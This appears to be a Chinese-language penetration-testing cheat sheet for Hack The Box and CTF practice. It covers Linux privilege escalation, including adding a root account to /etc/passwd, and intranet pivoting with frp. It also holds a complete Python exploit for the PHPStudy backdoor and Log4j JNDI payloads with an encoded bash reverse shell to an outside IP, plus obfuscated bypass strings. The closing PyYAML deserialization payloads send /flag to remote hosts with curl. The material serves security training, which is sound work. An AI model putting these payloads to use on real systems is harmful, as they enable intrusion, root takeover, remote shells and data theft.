渗透

web , , 评论

​

渗透（Hack The Box / HTB）

扫描

  • nmap

    nmap -sC -sV xx.xx.xx.xx -oA src/

    -sC is for using default nmap scripts,

    -sV for enumerating services versions,

    -oA is for output ALL format and specify the directory src,

    NOTICE: you may be adding -Pn if you have an error wait for some time and here is the result.

    ​

提权

参考：GTFOBins

SUID提权（4000权限）

SUID可以让调用者以文件拥有者的身份运行该文件，所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件，那么我们运行该文件的时候就得获得root用户的身份了。

发现系统上运行的所有SUID可执行文件，不同系统适用于不同的命令：

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find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

  • 环境变量提权

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    #/home/raj/script/shell具SUID权限
    cd /tmp
    echo “/bin/bash” > ps
    chmod 777 ps
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/raj/script
    ./shell
    whoami

  • find 提权

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    # 普通用户，进入到/tmp目录下，然后新建一个文件
    touch abcd
    find abcd -exec whoami \;

  • /etc/shadow 提权

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    xxd "/etc/shadow" | xxd -r

  • /etc/passwd 提权

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    cat /etc/passwd>passwd
    echo "test:abRcsZmlrrKFA:0:0:,,,:/root:/bin/bash" >>passwd
    cp passwd /etc/passwd
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    su - test

  • nl 提权

    nl /flag

  • date 提权

    /usr/bin/date -f /flag （利用date命令的 -f 参数读取文件）

  • curl 提取

    curl file:///flag

  • 以其他用户运行命令

    sudo -l （查看此用户拥有的特殊权限，如 NOPASSWD）

    echo password | su -c userB cat xxx.txt

  • 根目录非root权限

    ls -al / （检查根目录权限是否非root）

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    mv bin bin1
    /bin1/mkdir bin
    /bin1/chmod 777 bin
    /bin1/echo "/bin1/cat /flag" > /bin/umount
    /bin1/chmod 777 /bin/umount
    exit

​

非常规读文件

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/lib/gcc/x86_64-linux-gnu/[id]/cc1 /etc/passwd -o /dev/null
/lib/gcc/x86_64-linux-gnu/[id]/cc1plus /etc/passwd -o /dev/null

​

内网穿透

  • 探测内网主机

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    for k in $( seq 1 255);do ping -c 1 10.203.113.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

  • 常见端口扫描

    EW代理：./ew_for_linux64 -s ssocksd -l 9999

    扫描：proxychains3 nmap 扫描常见端口

  • 操作

    远程连接数据库：proxychains3 mysql -h 10.203.113.33 -u ctf -p

    启动火狐浏览器：proxychains3 firefox

    远程连接：proxychains3 rdesktop 10.203.113.34:3389

frp

frp 是一个专注于内网穿透的高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

项目地址 https://github.com/fatedier/frp/blob/master/README_zh.md

目录文件：

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frpc 客户端可执行程序
frpc_full.ini 客户端所有配置项（可以再此文件查看frp的所有的配置项）
frpc.ini 客户端配置项
frps 服务端可执行程序
frps_full.ini 服务端所有配置项（可以再此文件查看frp的所有的配置项）
frps.ini 服务端配置项
LICENSE 许可证

服务端配置（ frps.ini 文件）

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[common]
bind_port = 7000 # 客户端跟服务端绑定的端口号（端口可自定义，需客户端和服务端统一）
vhost_http_port = 6001 # 访问6001端口，映射到内网web服务

启动： ./frps -c frps.ini

客户端配置（ frpc.ini 文件）

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[common]
server_addr = x.x.x.x # 服务器公网IP
server_port = 7000 # 绑定的端口，自定义，与服务端一致即可

[ssh]
type = tcp
local_ip = 127.0.0.1 # 绑定的IP，本机填写127.0.0.1即可
local_port = 22
remote_port = 6008 # ssh默认是22，转发为6008端口
# 访问：ssh root@x.x.x.x -p 6008

[web]
type = http
local_port = 8080 # 访问本地8080web服务
custom_domains = x.x.x.x # 已经备案的域名或服务器公网IP
# 访问：http://x.x.x.x:6001 => http://127.0.0.1:8080

[mysql]
type = tcp
local_ip = 127.0.0.1 # 绑定的IP，本机填写127.0.0.1即可
local_port = 3306
remote_port = 4406 # mysql默认是3306，转发为4406端口
# 访问：mysql -hx.x.x.x -P4406 -uroot -proot

启动： ./frpc -c frpc.ini

​

其他

  • PHPStudy 后门漏洞

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    import requests
    import base64
    from random import choice

    USER_AGENTS = [
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
        "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
        "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
        "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
        "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
        "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
        "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
        "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
        "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
    ]
    TIME_OUT=10

    print(r"""
     _____   _    _  _____    _____  _               _          ____                _        _                     
     |  __ \ | |  | ||  __ \  / ____|| |             | |        |  _ \              | |      | |                    
     | |__) || |__| || |__) || (___  | |_  _   _   __| | _   _  | |_) |  __ _   ___ | | __ __| |  ___    ___   _ __ 
     |  ___/ |  __  ||  ___/  \___ \ | __|| | | | / _` || | | | |  _ <  / _` | / __|| |/ // _` | / _ \  / _ \ | '__|
     | |     | |  | || |      ____) || |_ | |_| || (_| || |_| | | |_) || (_| || (__ |   <| (_| || (_) || (_) || |   
     |_|     |_|  |_||_|     |_____/  \__| \__,_| \__,_| \__, | |____/  \__,_| \___||_|\_\\__,_| \___/  \___/ |_|   
                                                          __/ |                                                     
                                                         |___/                                                      
                        Usage & e.g. :
                            Target Url:
                            localhost/flag.php
                            Input Your Command:
                            phpinfo();
                        Notice: Command Must Be PHP Function, If You Want To Execute OS Command, Use: system('YOUR COMMAND');
                        By:Sp4ce
                        Have Fun
    """)

    def checkTarget(url):
        poc = {
                "Accept-Charset": "cGhwaW5mbygpOw==",
                "Accept-Encoding": "gzip,deflate"
            }
        try:
            pocRequest = requests.get(url, headers=poc,timeout=TIME_OUT)
            if "phpinfo" in str(pocRequest.content):
                print('[+] Target is vulnerable.')
                return True
            else:
                print('[-] Target is NOT vulnerable.')
                return False
        except :
            print('[-] Looks Like Something Wrong.')


    def exploit(url,command):
        headers = {}
        headers['User-Agent'] = choice(USER_AGENTS)
        headers['Accept-Encoding'] = 'gzip,deflate'
        headers['Accept-Charset'] = command
        try:
            request = requests.get(url, headers=headers)
            if request.status_code == 200:
                print('[+] Command Execute Successful.')
                print(request.text)
            else:
                print('[-] Looks Like Something Wrong. Maybe target is NOT vulnerable.')
        except:
            print('[-] Looks Like Something Wrong.\n')


    if __name__ == "__main__":
        while True:
            url = input("Target Url:\n")
            if 'http' not in url:
                url = "http://" + url
            print('[i] Checking Target...')
            if checkTarget(url):
                cmd = input("Input Your Command:\n")
                command = base64.b64encode(cmd.encode('utf-8'))
                exploit(url,command)

  • zerodium 后门

    列目录：User-Agentt: zerodiumsystem('ls /');

    读文件：User-Agentt: zerodiumsystem('cat /flag');

  • log4j2 漏洞（CVE-2021-44228）

    步骤：

    1. 在vps上通过 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 启动监听

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      java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny54eHgueHh4LjIyMC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A "47.xxx.xxx.220"

      # YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny54eHgueHh4LjIyMC8yMzMzIDA+JjE= 为 bash -i >& /dev/tcp/47.xxx.xxx.220/2333 0>&1, 用于反弹shell

    2. 将payload填入找到的漏洞处

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      ${jndi:ldap:${sys:file.separator}${sys:file.separator}47.xxx.xxx.220:1389${sys:file.separator}ge5udq}

    参考：Apache Log4j2漏洞复现-反弹shell

    绕过：

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    ${jndi:ladp://xxxxxx.dnslog.cn/exp}
    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxxxxx.dnslog.cn/exp}
    ${${::-j}ndi:rmi://xxxxxx.dnslog.cn/exp}
    ${jndi:rmi://xxxxxx.dnslog.cn}
    ${${lower:jndi}:${lower:rmi}://xxxxxx.dnslog.cn/exp}
    ${${lower:${lower:jndi}}:${lower:rmi}://xxxxxx.dnslog.cn/exp}
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://xxxxxx.dnslog.cn/exp}
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxx.dnslog.cn/exp}

  • PyYAML漏洞（CVE-2020-1747）

    版本：5.3

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    # pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1
    # More: ret2libc's report in https://github.com/yaml/pyyaml/pull/386
    # Explanation: https://2130706433.net/blog/pyyaml/
    from yaml import *

    with open('payload.yaml','rb') as f:
      content = f.read()

    data = load(content, Loader=FullLoader) # Using vulnerable FullLoader

    RCE：

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    # payload.yaml
    # The `extend` function is overriden to run `yaml.unsafe_load` with 
    # custom `listitems` argument, in this case a simple curl request

    - !!python/object/new:yaml.MappingNode
      listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
      state:
        tag: !!str dummy
        value: !!str dummy
        extend: !!python/name:yaml.unsafe_load
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    !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval ,
    ["\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl http://xxx.xxx.xxx.xxx:1234 -d
    @/flag')"]]]
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    !!python/object/new:type
     args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
     listitems: "__import__('os').system('curl -d @/flag http://111.111.111.111:8082')"

    参考：

    浅谈PyYAML反序列化漏洞

    PyYAML反序列化防御和ByPass

    uiuctf 2020